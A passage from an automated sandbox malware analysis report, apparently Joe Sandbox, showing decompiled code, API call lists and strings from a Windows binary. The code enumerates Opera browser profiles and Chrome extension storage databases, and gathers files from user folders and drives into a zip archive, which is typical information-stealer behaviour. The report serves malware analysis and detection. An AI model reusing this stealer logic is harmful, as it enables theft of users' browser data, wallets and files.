				_t265 = _v8136;
				_t136 = FindClose(_v8136);
				goto L41;
			}

0x0040c8e8
0x0040c8ed
0x0040c8f4
0x0040c8ff
0x0040c903
0x0040c906
0x0040c90c
0x0040c91c
0x0040c922
0x0040c928
0x0040c92e
0x0040c934
0x0040c94b
0x0040c956
0x0040c95c
0x0040c961
0x0040c967
0x0040c96c
0x0040c977
0x0040c97d
0x0040c98a
0x0040cd18
0x0040cd28
0x0040cd28
0x0040c990
0x0040c993
0x0040c993
0x0040c99e
0x0040c9a7
0x00000000
0x00000000
0x0040c9ad
0x0040c9b8
0x0040c9c1
0x00000000
0x00000000
0x0040c9c7
0x0040c9d3
0x0040c9d8
0x0040c9dd
0x00000000
0x00000000
0x0040c9eb
0x0040c9fd
0x0040ca11
0x0040ca1b
0x0040ca68
0x0040ca76
0x0040ca89
0x0040ca8e
0x0040ca91
0x0040ca96
0x0040ca9f
0x0040cad3
0x0040cad9
0x0040caa1
0x0040cab4
0x0040caba
0x0040caba
0x0040cae2
0x0040caec
0x0040cdf8
0x0040cdfc
0x0040cf1e
0x0040cf2c
0x0040cf32
0x0040cf34
0x00000000
0x00000000
0x0040cf42
0x0040cf54
0x0040cf68
0x0040cf6e
0x0040cf8e
0x0040cf90
0x0040cf92
0x00000000
0x00000000
0x0040cf98
0x0040cf9d
0x0040cfa3
0x00000000
0x00000000
0x0040cfb5
0x0040cfba
0x0040cfbd
0x0040cfbf
0x00000000
0x00000000
0x0040cfc5
0x0040cfcb
0x0040cef6
0x0040cef6
0x0040cefa
0x0040cf00
0x0040cf01
0x0040cf03
0x0040cf03
0x0040cf09
0x0040cf0a
0x0040cf0b
0x0040cf10
0x0040cf13
0x00000000
0x0040cf13
0x0040ce0e
0x0040ce14
0x0040ce16
0x00000000
0x00000000
0x0040ce1e
0x0040ce32
0x0040ce37
0x0040ce3a
0x0040ce4e
0x0040ce54
0x0040ce56
0x00000000
0x00000000
0x0040ce64
0x0040ce76
0x0040ce91
0x0040ce97
0x0040ceb7
0x0040ceb9
0x0040cebb
0x00000000
0x00000000
0x0040cec1
0x0040cec6
0x0040cecc
0x00000000
0x00000000
0x0040cede
0x0040cee3
0x0040cee6
0x0040cee8
0x00000000
0x00000000
0x0040ceee
0x0040cef4
0x00000000
0x0040caf2
0x0040cb05
0x0040cb0a
0x0040cb0c
0x0040cb0f
0x0040cb11
0x0040cb1a
0x0040cb34
0x0040cb39
0x0040cb4d
0x0040cb52
0x0040cb55
0x0040cb55
0x0040cb5d
0x0040cbb3
0x0040cbb5
0x0040cd37
0x0040cd3d
0x0040cd3f
0x00000000
0x00000000
0x0040cd53
0x0040cd65
0x0040cd79
0x0040cd7f
0x0040cd9f
0x0040cda1
0x0040cda3
0x00000000
0x00000000
0x0040cda9
0x0040cdae
0x0040cdb4
0x00000000
0x00000000
0x0040cdc6
0x0040cdcb
0x0040cdce
0x0040cdd0
0x00000000
0x00000000
0x0040cdd6
0x0040cdda
0x0040cde0
0x0040cde6
0x0040cde7
0x0040cde9
0x0040cdeb
0x0040cdeb
0x0040cdf1
0x0040cdf2
0x0040cc85
0x0040cc85
0x0040cc8a
0x0040cc8d
0x00000000
0x0040cc8d
0x0040cbd1
0x00000000
0x00000000
0x0040cbe5
0x0040cbf7
0x0040cc12
0x0040cc38
0x0040cc3c
0x00000000
0x00000000
0x0040cc3e
0x0040cc44
0x0040cc4a
0x00000000
0x00000000
0x0040cc5c
0x0040cc61
0x0040cc66
0x00000000
0x00000000
0x0040cc6c
0x0040cc72
0x0040cc78
0x0040cc79
0x0040cc7b
0x0040cc7d
0x0040cc7d
0x0040cc83
0x0040cc84
0x00000000
0x0040cb60
0x0040cb60
0x0040cb60
0x0040cb62
0x0040cb65
0x0040cb76
0x0040cb67
0x0040cb6d
0x0040cb6d
0x0040cb7f
0x0040cb81
0x0040cb81
0x0040cb99
0x0040cb9e
0x0040cba0
0x0040cba3
0x0040cbad
0x0040cc93
0x0040cc93
0x0040cc99
0x0040cc99
0x0040cc9e
0x00000000
0x00000000
0x0040cca0
0x0040cca3
0x0040cca8
0x00000000
0x00000000
0x0040ccb1
0x0040cce7
0x0040ccec
0x0040ccec
0x00000000
0x0040ccb1
0x00000000
0x0040cbad
0x0040cb5d
0x0040caec
0x0040ca1d
0x0040ca20
0x0040ca22
0x0040ca28
0x0040ca2f
0x0040ca36
0x0040ca3c
0x0040ca3f
0x0040ca42
0x0040ca42
0x0040ca44
0x0040ca45
0x0040ca45
0x0040ca53
0x0040ca58
0x0040ca5d
0x0040ca62
0x00000000
0x00000000
0x00000000
0x0040ccef
0x0040ccfd
0x0040cd03
0x0040cd0b
0x0040cd12
0x00000000

APIs

wsprintfA.USER32 ref: 0040C934
FindFirstFileA.KERNELBASE(?,?), ref: 0040C94B
_memset.LIBCMT ref: 0040C967
lstrcat.KERNEL32(?,?), ref: 0040C977
StrCmpCA.SHLWAPI(?,00448AAC), ref: 0040C99F
StrCmpCA.SHLWAPI(?,00448AB0), ref: 0040C9B9
lstrcpy.KERNEL32(?,?), ref: 0040C9EB
lstrcat.KERNEL32(?,00448AB4), ref: 0040C9FD
lstrcat.KERNEL32(?,?), ref: 0040CA11
_memset.LIBCMT ref: 0040CA76
_memset.LIBCMT ref: 0040CA89
StrCmpCA.SHLWAPI(?,004489F2), ref: 0040CA97
wsprintfA.USER32 ref: 0040CAB4
wsprintfA.USER32 ref: 0040CAD3
lstrlen.KERNEL32(?), ref: 0040CAE3
_strtok_s.LIBCMT ref: 0040CB05
PathMatchSpecA.SHLWAPI(?,*.lnk), ref: 0040CB28
CoInitialize.OLE32(00000000), ref: 0040CB39
_strtok_s.LIBCMT ref: 0040CB99
PathMatchSpecA.SHLWAPI(?,?), ref: 0040CBC9
lstrcpy.KERNEL32(?,?), ref: 0040CBE5
lstrcat.KERNEL32(?,00448AD4), ref: 0040CBF7
PathFindFileNameA.SHLWAPI(?), ref: 0040CC04
lstrcat.KERNEL32(?,00000000), ref: 0040CC12
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0040CC33
FindNextFileA.KERNEL32(?,?), ref: 0040CCFD
FindClose.KERNEL32(?), ref: 0040CD12
PathMatchSpecA.SHLWAPI(?,?), ref: 0040CD37
lstrcpy.KERNEL32(?,?), ref: 0040CD53
lstrcat.KERNEL32(?,00448AD8), ref: 0040CD65
lstrcat.KERNEL32(?,?), ref: 0040CD79
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0040CD9A
PathMatchSpecA.SHLWAPI(?,*.lnk), ref: 0040CE0E
CoInitialize.OLE32(00000000), ref: 0040CE1E
PathMatchSpecA.SHLWAPI(?,?), ref: 0040CE4E
lstrcpy.KERNEL32(?,?), ref: 0040CE64
lstrcat.KERNEL32(?,00448AE4), ref: 0040CE76
PathFindFileNameA.SHLWAPI(?), ref: 0040CE83
lstrcat.KERNEL32(?,00000000), ref: 0040CE91
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0040CEB2

Part of subcall function 0040A8C0: GetFileSecurityA.ADVAPI32(?,00000007,00000000,00000000,?), ref: 0040A8EA
Part of subcall function 0040A8C0: GetLastError.KERNEL32 ref: 0040A8F8
Part of subcall function 0040A8C0: _malloc.LIBCMT ref: 0040A90D
Part of subcall function 0040A8C0: GetFileSecurityA.ADVAPI32(?,00000007,00000000,00000000,00000000), ref: 0040A928
Part of subcall function 0040A8C0: GetCurrentProcess.KERNEL32(0002000E,?), ref: 0040A944
Part of subcall function 0040A8C0: OpenProcessToken.ADVAPI32(00000000), ref: 0040A94B
Part of subcall function 0040A8C0: DuplicateToken.ADVAPI32(?,00000002,?), ref: 0040A966
Part of subcall function 0040A8C0: MapGenericMask.ADVAPI32(?,?), ref: 0040A9BF
Part of subcall function 0040A8C0: AccessCheck.ADVAPI32(00000000,?,001200A0,00120089,?,00000014,?,?), ref: 0040A9E2

PathMatchSpecA.SHLWAPI(?,?), ref: 0040CF2C
lstrcpy.KERNEL32(?,?), ref: 0040CF42
lstrcat.KERNEL32(?,00448AE8), ref: 0040CF54
lstrcat.KERNEL32(?,?), ref: 0040CF68
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0040CF89

Strings

%s\*, xrefs: 0040C916
*.lnk, xrefs: 0040CB1C
%s\%s, xrefs: 0040CACD
*.lnk, xrefs: 0040CE02

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Path$FileMatchSpec$Findlstrcpy$Unothrow_t@std@@@__ehfuncinfo$??2@$_memsetwsprintf$InitializeNameProcessSecurityToken_strtok_s$AccessCheckCloseCurrentDuplicateErrorFirstGenericLastMaskNextOpen_malloclstrlen
String ID: %s\%s$%s\*$*.lnk$*.lnk
API String ID: 207238958-1230136533
Opcode ID: c0cb0b2571a4c90a029ec5389ecae195d0a3ace8d5c90f34f91bf5491b1ede1c
Instruction ID: 653626b94aeb94aff5c1d4e536c74e4bb4bf40fc01ffe9299797a463743d85ea
Opcode Fuzzy Hash: c0cb0b2571a4c90a029ec5389ecae195d0a3ace8d5c90f34f91bf5491b1ede1c
Instruction Fuzzy Hash: 67028375904219DBDB20DB60DC84FEF7378AB44745F0446FAF509A2181EBB89E88CF99

Uniqueness

Uniqueness Score: -1.00%

Function 004171C0 Relevance: 73.9, APIs: 24, Strings: 18, Instructions: 380
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 58%

			E004171C0(void* __ecx, intOrPtr _a4, CHAR* _a8, intOrPtr _a12, CHAR* _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36) {
				signed int _v8;
				char _v268;
				char _v528;
				char _v788;
				char _v1048;
				char _v1308;
				char _v1568;
				char _v1828;
				void* _v2088;
				char _v2348;
				void* _v2608;
				struct _WIN32_FIND_DATAA _v2928;
				void* _v2929;
				CHAR* _v2936;
				CHAR* _v2940;
				void* _v2944;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t107;
				void* _t113;
				intOrPtr _t115;
				intOrPtr _t117;
				intOrPtr _t119;
				intOrPtr _t121;
				intOrPtr _t123;
				intOrPtr _t125;
				void* _t126;
				void* _t133;
				int _t139;
				void* _t163;
				void* _t177;
				intOrPtr _t255;
				intOrPtr _t256;
				signed int _t257;
				void* _t258;
				void* _t259;

				_t107 =  *0x4556f0; // 0x1a5a77c2
				_v8 = _t107 ^ _t257;
				_t256 = _a4;
				_t255 = _a12;
				_t177 = __ecx;
				_t228 =  &_v2348;
				_v2936 = _a8;
				_v2940 = _a16;
				wsprintfA( &_v2348, "%s\\*.*", _t255);
				_t259 = _t258 + 0xc;
				if(_a24 != 0) {
					L0042AC10( &_v268, 0, 0x104);
					_t113 = _a24 - 1;
					if(_t113 == 0) {
						_push("Opera Stable");
						_push( &_v268);
						goto L21;
					} else {
						_t133 = _t113 - 1;
						if(_t133 == 0) {
							_push("Opera GX Stable");
							_push( &_v268);
							goto L21;
						} else {
							if(_t133 == 1) {
								_push("Opera Crypto Stable");
								_push( &_v268);
								L21:
								 *0x468038();
							}
						}
					}
					_t115 =  *0x457144; // 0x25387a0
					wsprintfA( &_v788, "%s\\%s\\%s\\%s", _t255,  &_v268, _t115, _t256);
					_t117 =  *0x456b54; // 0x4372078
					wsprintfA( &_v1308, "%s\\%s",  &_v788, _t117);
					_t119 =  *0x456fa4; // 0x43f6a60
					wsprintfA( &_v528, "%s\\%s\\%s\\%s", _t255,  &_v268, _t119, _t256);
					_t121 =  *0x456b54; // 0x4372078
					wsprintfA( &_v1828, "%s\\%s",  &_v528, _t121);
					_t123 =  *0x456c54; // 0x43f7ef8
					wsprintfA( &_v1048, "%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb", _t255,  &_v268, _t123, _t256);
					_t125 =  *0x456b54; // 0x4372078
					_t228 =  &_v1568;
					_t126 = wsprintfA( &_v1568, "%s\\%s",  &_v1048, _t125);
					_t255 = _a20;
					if(_a28 != 0) {
						_t126 = E00420DE0( &_v1308); // executed
						if(_t126 != 0) {
							_t228 = _v2940;
							_push(_t256);
							_t126 = L00416E20(_t177,  &_v788, _v2936, _v2940,  &_v268, _t255, 1);
						}
					}
					if(_a32 != 0) {
						_t228 =  &_v1828;
						_t126 = E00420DE0( &_v1828); // executed
						if(_t126 != 0) {
							_t228 = _v2936;
							_push(_t256);
							_t126 = L00416E20(_t177,  &_v528, _v2936, _v2940,  &_v268, _t255, 2);
						}
					}
					if(_a36 != 0) {
						_t126 = E00420DE0( &_v1568); // executed
						if(_t126 != 0) {
							_push(_t256);
							_t228 =  &_v1048;
							_t126 = L00416E20(_t177,  &_v1048, _v2936, _v2940,  &_v268, _t255, 3);
						}
					}
					goto L31;
				} else {
					_t126 = FindFirstFileA( &_v2348,  &_v2928); // executed
					_v2944 = _t126;
					if(_t126 == 0xffffffff) {
						L31:
						return L0042AC8A(_t126, _t177, _v8 ^ _t257, _t228, _t255, _t256);
					} else {
						do {
							_push(".");
							_push( &(_v2928.cFileName));
							if( *0x468068() != 0) {
								_push("..");
								_push( &(_v2928.cFileName));
								if( *0x468068() != 0) {
									if(_a36 != 0) {
										_t163 = E00420DE0( &_v1308); // executed
										if(_t163 != 0) {
											_push(_t256);
											L00416E20(_t177,  &_v528, _v2936, _v2940,  &_v268, _a20, 3);
											_push(_t256);
											L00416E20(_t177,  &_v788, _v2936, _v2940,  &_v268, _a20, 4);
										}
									}
								}
							}
							_t139 = FindNextFileA(_v2944,  &_v2928); // executed
						} while (_t139 != 0);
						return L0042AC8A(FindClose(_v2944), _t177, _v8 ^ _t257,  &_v2928, _t255, _t256);
					}
				}
			}

0x004171c9
0x004171d0
0x004171d8
0x004171dc
0x004171e0
0x004171e5
0x004171f1
0x004171f7
0x004171fd
0x00417203
0x0041720a
0x004174df
0x004174ea
0x004174eb
0x0041750f
0x0041751a
0x00000000
0x004174ed
0x004174ed
0x004174ee
0x00417501
0x0041750c
0x00000000
0x004174f0
0x004174f1
0x004174f3
0x004174fe
0x0041751b
0x0041751b
0x0041751b
0x004174f1
0x004174ee
0x00417521
0x0041753c
0x00417542
0x0041755b
0x00417561
0x0041757c
0x00417582
0x0041759e
0x004175a4
0x004175bf
0x004175c5
0x004175d2
0x004175de
0x004175e4
0x004175ee
0x004175fd
0x00417604
0x00417606
0x00417612
0x00417628
0x00417628
0x00417604
0x00417631
0x00417633
0x00417640
0x00417647
0x0041764f
0x00417655
0x0041766b
0x0041766b
0x00417647
0x00417674
0x00417683
0x0041768a
0x00417698
0x004176a5
0x004176ae
0x004176ae
0x0041768a
0x00000000
0x00417210
0x0041721e
0x00417224
0x0041722d
0x004176b3
0x004176c3
0x00417233
0x00417233
0x00417233
0x0041723e
0x00417247
0x0041724d
0x00417258
0x00417261
0x00417429
0x00417438
0x0041743f
0x0041744a
0x00417466
0x00417474
0x00417490
0x00417490
0x0041743f
0x00417429
0x00417261
0x004174a3
0x004174a9
0x004174ce
0x004174ce
0x0041722d

APIs

wsprintfA.USER32 ref: 004171FD
FindFirstFileA.KERNELBASE(?,?), ref: 0041721E
StrCmpCA.SHLWAPI(?,0044BAF4), ref: 0041723F
StrCmpCA.SHLWAPI(?,0044BAF8), ref: 00417259
_memset.LIBCMT ref: 00417275
lstrcat.KERNEL32(?,?), ref: 0041728B
wsprintfA.USER32 ref: 004172AD
wsprintfA.USER32 ref: 004172CD
wsprintfA.USER32 ref: 004172EF
wsprintfA.USER32 ref: 00417312
wsprintfA.USER32 ref: 00417334
wsprintfA.USER32 ref: 00417354
wsprintfA.USER32 ref: 0041736E
wsprintfA.USER32 ref: 00417390

Part of subcall function 00420DE0: GetFileAttributesA.KERNEL32(0040C358,?,0040C358,?), ref: 00420DE7

Part of subcall function 00416E20: wsprintfA.USER32 ref: 00416E60
Part of subcall function 00416E20: FindFirstFileA.KERNEL32(?,?), ref: 00416E77
Part of subcall function 00416E20: StrCmpCA.SHLWAPI(?,0044BAA4,0259E608), ref: 00416EA5
Part of subcall function 00416E20: StrCmpCA.SHLWAPI(?,0044BAA8), ref: 00416EBF
Part of subcall function 00416E20: _memset.LIBCMT ref: 00416EDB
Part of subcall function 00416E20: _memset.LIBCMT ref: 00416EEE
Part of subcall function 00416E20: lstrcat.KERNEL32(?,?), ref: 00416F04
Part of subcall function 00416E20: lstrcat.KERNEL32(?,0044BAAC), ref: 00416F16
Part of subcall function 00416E20: lstrcat.KERNEL32(?,?), ref: 00416F2A
Part of subcall function 00416E20: lstrcat.KERNEL32(?,0044BAB0), ref: 00416F3C
Part of subcall function 00416E20: lstrcat.KERNEL32(?,025340D0), ref: 00416F65
Part of subcall function 00416E20: lstrcat.KERNEL32(?,0044BAB4), ref: 00416F77
Part of subcall function 00416E20: lstrcat.KERNEL32(?,00000003), ref: 00416F85
Part of subcall function 00416E20: lstrcat.KERNEL32(?,0044BAB8), ref: 00416F97
Part of subcall function 00416E20: lstrcat.KERNEL32(?,0259E608), ref: 00416FA5

FindNextFileA.KERNELBASE(?,?), ref: 004174A3
FindClose.KERNEL32(?), ref: 004174B8
_memset.LIBCMT ref: 004174DF
lstrcat.KERNEL32(?,Opera Stable), ref: 0041751B
wsprintfA.USER32 ref: 0041753C
wsprintfA.USER32 ref: 0041755B
wsprintfA.USER32 ref: 0041757C
wsprintfA.USER32 ref: 0041759E
wsprintfA.USER32 ref: 004175BF
wsprintfA.USER32 ref: 004175DE

Strings

%s\%s, xrefs: 004172C7
Opera GX Stable, xrefs: 00417501
%s\%s, xrefs: 0041734E
%s\%s\%s\%s, xrefs: 004172E9
Opera Crypto Stable, xrefs: 004174F3
%s\%s, xrefs: 00417598
%s\%s, xrefs: 004175D8
%s\%s\%s\%s, xrefs: 00417536
%s\%s, xrefs: 00417384
%s\*.*, xrefs: 004171EB
%s\%s, xrefs: 0041730C
%s\%s\%s\%s, xrefs: 00417576
%s\%s\%s\%s, xrefs: 004172A7
%s\%s, xrefs: 00417555
%s\%s\%s\chrome-extension_%s_0.indexeddb.leveldb, xrefs: 0041732E
Opera Stable, xrefs: 0041750F
%s\%s\Local Storage\leveldb, xrefs: 00417368
%s\%s\%s\chrome-extension_%s_0.indexeddb.leveldb, xrefs: 004175B9

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: wsprintf$lstrcat$FileFind_memset$First$AttributesCloseNext
String ID: %s\%s$%s\%s$%s\%s$%s\%s$%s\%s$%s\%s$%s\%s$%s\%s\%s\%s$%s\%s\%s\%s$%s\%s\%s\%s$%s\%s\%s\%s$%s\%s\%s\chrome-extension_%s_0.indexeddb.leveldb$%s\%s\%s\chrome-extension_%s_0.indexeddb.leveldb$%s\%s\Local Storage\leveldb$%s\*.*$Opera Crypto Stable$Opera GX Stable$Opera Stable
API String ID: 3047647967-4004909125
Opcode ID: da65a29947a9284790760a931c8aa2331fa67efd548bf05ca3b11410ea28829f
Instruction ID: dda3402cc643ad0283b4d1fcceeb19a7893f6468ddc18a5b806ad09a9029c15d
Opcode Fuzzy Hash: da65a29947a9284790760a931c8aa2331fa67efd548bf05ca3b11410ea28829f
Instruction Fuzzy Hash: F5E14675604218ABDB24CB54DC45FEB7779EB88704F0046DAB50993151EBB4AEC8CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041B050 Relevance: 66.8, APIs: 37, Strings: 1, Instructions: 318
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,04372068,1A5A77C2,?,00000000,00000000), ref: 0041B0A9
StrCmpCA.SHLWAPI(00000000,04372098), ref: 0041B0C2
_memset.LIBCMT ref: 0041B0F7
lstrcat.KERNEL32(?,0253C408), ref: 0041B10D
lstrcat.KERNEL32(?,00000000), ref: 0041B128
CopyFileA.KERNEL32(?,?,00000001), ref: 0041B138
_memset.LIBCMT ref: 0041B14C
lstrcat.KERNEL32(?,0044B7B8), ref: 0041B160
lstrcat.KERNEL32(?,043720D8), ref: 0041B174
lstrcat.KERNEL32(?,0044B7BC), ref: 0041B186
lstrcat.KERNEL32(?,00000000), ref: 0041B194
lstrcat.KERNEL32(?,0044B7C0), ref: 0041B1A6
lstrcat.KERNEL32(?,?), ref: 0041B1B4
lstrcat.KERNEL32(?,.txt), ref: 0041B1C6
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0041B21A
RtlAllocateHeap.NTDLL(00000000), ref: 0041B221
StrCmpCA.SHLWAPI(00000000,0044B7CC), ref: 0041B2C1
lstrcat.KERNEL32(00000000,04372118), ref: 0041B2E2
StrCmpCA.SHLWAPI(00000000,0044B7D0), ref: 0041B2EE
lstrcat.KERNEL32(00000000,04372118), ref: 0041B30E
lstrcat.KERNEL32(?,0044B7D4), ref: 0041B32B
lstrcat.KERNEL32(00000000,?), ref: 0041B339
lstrcat.KERNEL32(00000000,0044B7D8), ref: 0041B345
lstrcat.KERNEL32(00000000,00000000), ref: 0041B34D
lstrcat.KERNEL32(00000000,0044B7DC), ref: 0041B359
lstrcat.KERNEL32(00000000,?), ref: 0041B367
lstrcat.KERNEL32(00000000,0044B7E0), ref: 0041B373
lstrcat.KERNEL32(00000000,00000000), ref: 0041B37B
lstrcat.KERNEL32(00000000,0044B7E4), ref: 0041B387
lstrcat.KERNEL32(00000000,?), ref: 0041B395
lstrcat.KERNEL32(00000000,0044B7E8), ref: 0041B3A1
lstrcat.KERNEL32(00000000,?), ref: 0041B3AF
lstrcat.KERNEL32(00000000,0044B7EC), ref: 0041B3BB
lstrcat.KERNEL32(00000000,00000000), ref: 0041B417
lstrcat.KERNEL32(00000000,0044B7F0), ref: 0041B457
lstrlen.KERNEL32(00000000), ref: 0041B477

Strings

.txt, xrefs: 0041B1BA

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap_memset$AllocateCopyFileProcesslstrlen
String ID: .txt
API String ID: 2062119673-2195685702
Opcode ID: 0fdf8c3e7183c1e42285c28179f59b99cc70b1965a2774400f28eaff8014a797
Instruction ID: c0304fce97d85efb6c7f34c2f28407bdbac66365fc1935eb856ca7ce4a077c20
Opcode Fuzzy Hash: 0fdf8c3e7183c1e42285c28179f59b99cc70b1965a2774400f28eaff8014a797
Instruction Fuzzy Hash: 50C15071940218AFD710AF60EC8DFDA7778EF48741F1046A9F509D3251EB789A88CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040DE60 Relevance: 65.1, APIs: 20, Strings: 17, Instructions: 368
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 37%

			E0040DE60(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32) {
				char _v8;
				char _v16;
				signed int _v20;
				char _v120;
				char _v1120;
				char _v2120;
				char _v3120;
				intOrPtr _v3128;
				char _v3132;
				char _v3148;
				intOrPtr _v3156;
				char _v3160;
				char _v3176;
				intOrPtr _v3184;
				char _v3188;
				char _v3204;
				intOrPtr _v3208;
				intOrPtr _v3212;
				intOrPtr _v3216;
				char _v3220;
				intOrPtr _v3224;
				char _v3228;
				char _v3232;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t105;
				signed int _t106;
				intOrPtr _t117;
				void* _t127;
				intOrPtr* _t129;
				void* _t132;
				intOrPtr* _t133;
				void* _t134;
				void* _t137;
				void* _t140;
				void* _t144;
				void* _t148;
				void* _t149;
				signed int _t154;
				void* _t162;
				void* _t163;
				int _t166;
				void* _t169;
				void* _t174;
				void* _t177;
				void* _t183;
				char _t184;
				void* _t185;
				intOrPtr* _t191;
				intOrPtr _t217;
				void* _t234;
				intOrPtr _t235;
				signed int _t238;
				void* _t239;
				void* _t240;
				void* _t242;
				intOrPtr _t244;
				void* _t245;
				CHAR* _t246;
				signed int _t247;
				void* _t248;
				void* _t253;
				void* _t254;
				void* _t255;
				void* _t259;
				void* _t262;
				CHAR _t275;

				_t105 =  *0x4556f0; // 0x1a5a77c2
				_t106 = _t105 ^ _t247;
				_v20 = _t106;
				 *[fs:0x0] =  &_v16;
				_t241 = _a4;
				_t235 = _a12;
				_v3216 = _a16;
				_t184 = 0;
				_v3212 = _a24;
				_v3224 = _a28;
				L0042AC10( &_v3120, 0, 0x3e8);
				L0042AC10( &_v1120, 0, 0x3e8);
				L0042AC10( &_v2120, 0, 0x3e8);
				 *0x468038( &_v3120, "\\Files\\", _t106, _t234, _t240, _t183,  *[fs:0x0], 0x43ea11, 0xffffffff);
				 *0x468038( &_v3120, _a4);
				 *0x468038( &_v3120, ".zip");
				_t117 = E00428960(0, 0xf4240, 0); // executed
				_v3208 = _t117;
				_v3220 = 0;
				 *0x4680e4( &_v1120, L00420C80(_t235, "%APPDATA%", E00420E70(0, _t235, _a4, 0x1a)));
				 *0x4680e4( &_v1120, L00420C80( &_v1120, "%LOCALAPPDATA%", E00420E70(0, _t235, _a4, 0x1c)));
				_t127 = L00420C80( &_v1120, "%USERPROFILE%", E00420E70(0, _t235, _t241, 0x28));
				_t253 = _t248 - 0xc90 + 0x60;
				 *0x4680e4( &_v1120, _t127);
				_t129 = E0041F5B0();
				_v3128 = 0xf;
				_v3132 = 0;
				_t191 = _t129;
				_v3148 = 0;
				_t27 = _t191 + 1; // 0x1
				_t242 = _t27;
				do {
					_t217 =  *_t191;
					_t191 = _t191 + 1;
				} while (_t217 != 0);
				E00405620( &_v3148, _t129, _t191 - _t242);
				_v8 = 0;
				_t132 = E00405810( &_v3148,  &_v3176, "C:\\Users\\",  &_v3148);
				_v8 = 1;
				_t133 = L0040DD30( &_v3204,  &_v3204, _t132, "\\Desktop\\");
				_t254 = _t253 + 0x18;
				_v8 = 2;
				if( *((intOrPtr*)(_t133 + 0x14)) >= 0x10) {
					_t133 =  *_t133;
				}
				_t134 = L00420C80( &_v1120, "%DESKTOP%", _t133);
				_t255 = _t254 + 0xc;
				 *0x4680e4( &_v1120, _t134);
				if(_v3184 >= 0x10) {
					_push(_v3204);
					L0042ABAB();
					_t255 = _t255 + 4;
				}
				_v3184 = 0xf;
				_v3188 = 0;
				_v3204 = 0;
				if(_v3156 >= 0x10) {
					_push(_v3176);
					L0042ABAB();
					_t255 = _t255 + 4;
				}
				_v3156 = 0xf;
				_v3160 = 0;
				_v3176 = 0;
				_v8 = 0xffffffff;
				if(_v3128 >= 0x10) {
					_push(_v3148);
					L0042ABAB();
					_t255 = _t255 + 4;
				}
				_v3128 = 0xf;
				_v3132 = 0;
				_v3148 = 0;
				_t137 = E00420E70(_t184, _t235, 0x10, 5); // executed
				 *0x4680e4( &_v1120, L00420C80( &_v1120, "%DOCUMENTS%", _t137));
				_t140 = E00420E70(_t184, _t235, 0x10, 0x26); // executed
				 *0x4680e4( &_v1120, L00420C80( &_v1120, "%PROGRAMFILES%", _t140));
				_t144 = E00420E70(_t184, _t235, 0x10, 0x2a); // executed
				 *0x4680e4( &_v1120, L00420C80( &_v1120, "%PROGRAMFILES_86%", _t144));
				_t148 = E00420E70(_t184, _t235, 0x10, 8); // executed
				_t149 = L00420C80( &_v1120, "%RECENT%", _t148);
				_t259 = _t255 + 0x40;
				 *0x4680e4( &_v1120, _t149);
				_push(0);
				_push("*%DRIVE_FIXED%*");
				_push( &_v1120);
				if( *0x467fa8() != 0) {
					_t184 = 1;
				}
				_push(0);
				_push("*%DRIVE_REMOVABLE%*");
				_push( &_v1120);
				if( *0x467fa8() != 0) {
					_t184 = 1;
					_v3220 = 1;
				}
				_t154 =  *0x467fa8(_t235, "*%RECENT%*", 0);
				asm("sbb edi, edi");
				_t238 =  ~( ~_t154);
				if(_t184 == 0) {
					_t244 = _v3208;
					E0040CFE0(_t184,  &_v1120, _v3216, _t238, __eflags, _v3216,  &_v1120, _t244, _a20, _a8, _v3212, 0, _t238, 0, _a32); // executed
					_t259 = _t259 + 0x28;
				} else {
					GetLogicalDriveStringsA(0x64,  &_v120);
					_t246 =  &_v120;
					if(_v120 != 0) {
						do {
							_t166 = GetDriveTypeA(_t246);
							if(_v3220 == 0) {
								L20:
								 *0x4680e4( &_v2120,  &_v1120);
								_t169 = L00420C80( &_v2120, "%DRIVE_FIXED%", _t246);
								_t262 = _t259 + 0xc;
								_push(_t169);
								_push( &_v2120);
							} else {
								_t274 = _t166 - 2;
								if(_t166 != 2) {
									goto L20;
								} else {
									 *0x4680e4( &_v2120,  &_v1120);
									_t177 = L00420C80( &_v2120, "%DRIVE_REMOVABLE%", _t246);
									_t262 = _t259 + 0xc;
